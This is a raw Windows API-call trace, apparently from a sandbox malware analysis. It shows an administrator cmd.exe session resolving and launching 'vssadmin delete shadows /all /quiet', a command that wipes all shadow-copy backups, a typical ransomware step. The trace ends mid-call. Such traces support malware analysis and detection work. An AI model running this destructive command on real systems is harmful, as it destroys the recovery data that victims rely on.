_wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0111.228] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0111.228] GetProcessHeap () returned 0x21cb43d0000 [0111.228] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xb0) returned 0x21cb43d8320 [0111.228] GetProcessHeap () returned 0x21cb43d0000 [0111.228] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x22) returned 0x21cb43d6a80 [0111.229] GetProcessHeap () returned 0x21cb43d0000 [0111.229] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x48) returned 0x21cb43d83e0 [0111.229] GetConsoleOutputCP () returned 0x4e3 [0111.232] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6e20afbb0 | out: lpCPInfo=0x7ff6e20afbb0) returned 1 [0111.232] SetThreadUILanguage (LangId=0x0) returned 0x409 [0111.235] GetConsoleTitleW (in: lpConsoleTitle=0xbc75eff6c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0111.378] malloc (_Size=0xffce) returned 0x21cb44f0840 [0111.378] ??_V@YAXPEAX@Z () returned 0x21cb44f0840 [0111.378] malloc (_Size=0xffce) returned 0x21cb4500820 [0111.378] ??_V@YAXPEAX@Z () returned 0x21cb4500820 [0111.378] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0111.378] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0111.378] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0111.378] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0111.378] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0111.378] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0111.378] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0111.378] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0111.378] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0111.378] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0111.378] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0111.378] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0111.378] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0111.378] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0111.378] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0111.378] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0111.378] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0111.378] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0111.378] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0111.378] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0111.378] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0111.378] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0111.378] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0111.378] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0111.378] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0111.378] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0111.378] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0111.378] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0111.378] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0111.378] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0111.378] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0111.378] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0111.378] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0111.378] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0111.378] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0111.378] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0111.379] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0111.379] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0111.379] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0111.379] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0111.379] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0111.379] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0111.379] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0111.379] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0111.379] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0111.379] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0111.379] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0111.379] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0111.379] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0111.379] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0111.379] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0111.379] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0111.379] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0111.379] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0111.379] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0111.379] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0111.379] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0111.379] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0111.379] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0111.379] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0111.379] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0111.379] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0111.379] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0111.379] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0111.379] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0111.379] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0111.379] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0111.379] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0111.379] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0111.379] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0111.379] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0111.379] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0111.379] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0111.379] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0111.379] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0111.379] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0111.379] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0111.379] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0111.379] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0111.379] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0111.379] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0111.380] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0111.380] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0111.380] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0111.380] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0111.380] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0111.380] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0111.380] ??_V@YAXPEAX@Z () returned 0x1 [0111.380] GetProcessHeap () returned 0x21cb43d0000 [0111.380] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xffde) returned 0x21cb43d8fc0 [0111.381] GetProcessHeap () returned 0x21cb43d0000 [0111.381] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x5a) returned 0x21cb43d6c30 [0111.381] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0111.381] malloc (_Size=0xffce) returned 0x21cb4500820 [0111.381] ??_V@YAXPEAX@Z () returned 0x21cb4500820 [0111.381] GetProcessHeap () returned 0x21cb43d0000 [0111.381] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x1ffac) returned 0x21cb43eab20 [0111.383] SetErrorMode (uMode=0x0) returned 0x0 [0111.383] SetErrorMode (uMode=0x1) returned 0x0 [0111.383] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x21cb43eab30, lpFilePart=0xbc75efef40 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xbc75efef40*="Desktop") returned 0x17 [0111.383] SetErrorMode (uMode=0x0) returned 0x1 [0111.383] GetProcessHeap () returned 0x21cb43d0000 [0111.383] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43eab20, Size=0x52) returned 0x21cb43eab20 [0111.383] GetProcessHeap () returned 0x21cb43d0000 [0111.383] RtlSizeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, MemoryPointer=0x21cb43eab20) returned 0x52 [0111.383] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0111.383] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0111.383] GetProcessHeap () returned 0x21cb43d0000 [0111.383] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x1bc) returned 0x21cb43d6ca0 [0111.383] GetProcessHeap () returned 0x21cb43d0000 [0111.383] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x368) returned 0x21cb43e8fb0 [0111.383] GetProcessHeap () returned 0x21cb43d0000 [0111.383] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43e8fb0, Size=0x1be) returned 0x21cb43e8fb0 [0111.383] GetProcessHeap () returned 0x21cb43d0000 [0111.383] RtlSizeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, MemoryPointer=0x21cb43e8fb0) returned 0x1be [0111.383] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0111.383] GetProcessHeap () returned 0x21cb43d0000 [0111.383] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xe8) returned 0x21cb43e9180 [0111.383] GetProcessHeap () returned 0x21cb43d0000 [0111.383] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43e9180, Size=0x7e) returned 0x21cb43e9180 [0111.383] GetProcessHeap () returned 0x21cb43d0000 [0111.383] RtlSizeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, MemoryPointer=0x21cb43e9180) returned 0x7e [0111.383] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0111.384] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xbc75efecb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbc75efecb0) returned 0xffffffffffffffff [0111.384] GetLastError () returned 0x2 [0111.384] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0111.384] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xbc75efecb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbc75efecb0) returned 0xffffffffffffffff [0111.384] GetLastError () returned 0x2 [0111.384] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0111.384] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xbc75efecb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbc75efecb0) returned 0x21cb43e9210 [0111.384] FindClose (in: hFindFile=0x21cb43e9210 | out: hFindFile=0x21cb43e9210) returned 1 [0111.384] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xbc75efecb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbc75efecb0) returned 0xffffffffffffffff [0111.385] GetLastError () returned 0x2 [0111.385] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xbc75efecb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbc75efecb0) returned 0x21cb43e9210 [0111.385] FindClose (in: hFindFile=0x21cb43e9210 | out: hFindFile=0x21cb43e9210) returned 1 [0111.385] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0111.385] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0111.385] ??_V@YAXPEAX@Z () returned 0x1 [0111.385] GetConsoleTitleW (in: lpConsoleTitle=0xbc75eff230, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0111.391] GetProcessHeap () returned 0x21cb43d0000 [0111.391] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x21c) returned 0x21cb43d6040 [0111.391] GetConsoleTitleW (in: lpConsoleTitle=0x21cb43d6050, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0111.393] GetProcessHeap () returned 0x21cb43d0000 [0111.393] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43d6040, Size=0xc2) returned 0x21cb43d6040 [0111.393] GetProcessHeap () returned 0x21cb43d0000 [0111.393] RtlSizeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, MemoryPointer=0x21cb43d6040) returned 0xc2 [0111.393] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0111.396] GetProcessHeap () returned 0x21cb43d0000 [0111.396] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6040) returned 1 [0111.396] InitializeProcThreadAttributeList (in: lpAttributeList=0xbc75eff150, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xbc75eff040 | out: lpAttributeList=0xbc75eff150, lpSize=0xbc75eff040) returned 1 [0111.396] UpdateProcThreadAttribute (in: lpAttributeList=0xbc75eff150, dwFlags=0x0, Attribute=0x60001, lpValue=0xbc75eff02c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xbc75eff150, lpPreviousValue=0x0) returned 1 [0111.396] GetStartupInfoW (in: lpStartupInfo=0xbc75eff0e0 | out: lpStartupInfo=0xbc75eff0e0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0111.396] GetProcessHeap () returned 0x21cb43d0000 [0111.396] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x20) returned 0x21cb43d1850 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0111.396] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0111.397] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0111.397] GetProcessHeap () returned 0x21cb43d0000 [0111.397] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d1850) returned 1 [0111.397] GetProcessHeap () returned 0x21cb43d0000 [0111.397] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x12) returned 0x21cb43d6e70 [0111.397] _get_osfhandle (_FileHandle=1) returned 0x254 [0111.397] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0111.397] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.397] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0111.397] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xbc75eff070*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbc75eff048 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xbc75eff048*(hProcess=0x94, hThread=0x98, dwProcessId=0xcb8, dwThreadId=0x3a8)) returned 1 [0114.227] CloseHandle (hObject=0x98) returned 1 [0114.227] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0114.227] GetProcessHeap () returned 0x21cb43d0000 [0114.227] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43ea020) returned 1 [0114.227] GetEnvironmentStringsW () returned 0x21cb43e9520* [0114.227] GetProcessHeap () returned 0x21cb43d0000 [0114.227] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xaf2) returned 0x21cb43ea020 [0114.227] FreeEnvironmentStringsA (penv="=") returned 1 [0114.227] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xbc75efe548, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xbc75efe548, ReturnLength=0x0) returned 0x0 [0114.227] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xc48aca6000, lpBuffer=0xbc75efe580, nSize=0x7a0, lpNumberOfBytesRead=0xbc75efe540 | out: lpBuffer=0xbc75efe580*, lpNumberOfBytesRead=0xbc75efe540*=0x7a0) returned 1 [0114.228] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0117.821] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xbc75efefc8 | out: lpExitCode=0xbc75efefc8*=0x40010004) returned 1 [0117.821] CloseHandle (hObject=0x94) returned 1 [0117.821] _vsnwprintf (in: _Buffer=0xbc75eff198, _BufferCount=0x13, _Format="%08X", _ArgList=0xbc75efefd8 | out: _Buffer="40010004") returned 8 [0117.821] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="40010004") returned 1 [0117.821] GetProcessHeap () returned 0x21cb43d0000 [0117.821] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43ea020) returned 1 [0117.822] GetEnvironmentStringsW () returned 0x21cb43e9520* [0117.822] GetProcessHeap () returned 0x21cb43d0000 [0117.822] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xaf2) returned 0x21cb43ea020 [0117.822] FreeEnvironmentStringsA (penv="=") returned 1 [0117.822] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0117.822] GetProcessHeap () returned 0x21cb43d0000 [0117.822] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43ea020) returned 1 [0117.822] GetEnvironmentStringsW () returned 0x21cb43e9520* [0117.822] GetProcessHeap () returned 0x21cb43d0000 [0117.822] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xaf2) returned 0x21cb43ea020 [0117.822] FreeEnvironmentStringsA (penv="=") returned 1 [0117.822] GetProcessHeap () returned 0x21cb43d0000 [0117.822] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6e70) returned 1 [0117.822] DeleteProcThreadAttributeList (in: lpAttributeList=0xbc75eff150 | out: lpAttributeList=0xbc75eff150) [0117.822] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0117.907] ??_V@YAXPEAX@Z () returned 0x1 [0117.907] _get_osfhandle (_FileHandle=1) returned 0x254 [0117.907] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0117.907] _get_osfhandle (_FileHandle=1) returned 0x254 [0117.907] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6e20afc08 | out: lpMode=0x7ff6e20afc08) returned 0 [0117.907] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.907] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6e20afc0c | out: lpMode=0x7ff6e20afc0c) returned 0 [0117.907] GetConsoleOutputCP () returned 0x4e3 [0117.910] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6e20afbb0 | out: lpCPInfo=0x7ff6e20afbb0) returned 1 [0117.910] SetThreadUILanguage (LangId=0x0) returned 0x409 [0117.917] GetProcessHeap () returned 0x21cb43d0000 [0117.917] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43e9180) returned 1 [0117.917] GetProcessHeap () returned 0x21cb43d0000 [0117.917] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43e8fb0) returned 1 [0117.917] GetProcessHeap () returned 0x21cb43d0000 [0117.917] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6ca0) returned 1 [0117.917] GetProcessHeap () returned 0x21cb43d0000 [0117.917] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43eab20) returned 1 [0117.918] GetProcessHeap () returned 0x21cb43d0000 [0117.918] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6c30) returned 1 [0117.918] GetProcessHeap () returned 0x21cb43d0000 [0117.918] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d8fc0) returned 1 [0117.918] GetProcessHeap () returned 0x21cb43d0000 [0117.918] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d83e0) returned 1 [0117.918] GetProcessHeap () returned 0x21cb43d0000 [0117.918] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6a80) returned 1 [0117.918] GetProcessHeap () returned 0x21cb43d0000 [0117.918] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d8320) returned 1 [0117.918] _vsnwprintf (in: _Buffer=0x7ff6e20b7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbc75eff578 | out: _Buffer="\r\n") returned 2 [0117.918] _get_osfhandle (_FileHandle=1) returned 0x254 [0117.918] GetFileType (hFile=0x254) returned 0x3 [0117.918] _get_osfhandle (_FileHandle=1) returned 0x254 [0117.918] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0117.918] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbc75eff548, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff548*=0x2, lpOverlapped=0x0) returned 1 [0117.918] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0117.918] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21cb44d0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0117.918] _vsnwprintf (in: _Buffer=0x21cb44e0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xbc75eff588 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0117.918] _vsnwprintf (in: _Buffer=0x21cb44e008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xbc75eff588 | out: _Buffer=">") returned 1 [0117.918] _get_osfhandle (_FileHandle=1) returned 0x254 [0117.918] GetFileType (hFile=0x254) returned 0x3 [0117.919] _get_osfhandle (_FileHandle=1) returned 0x254 [0117.919] WideCharToMultiByte (in: 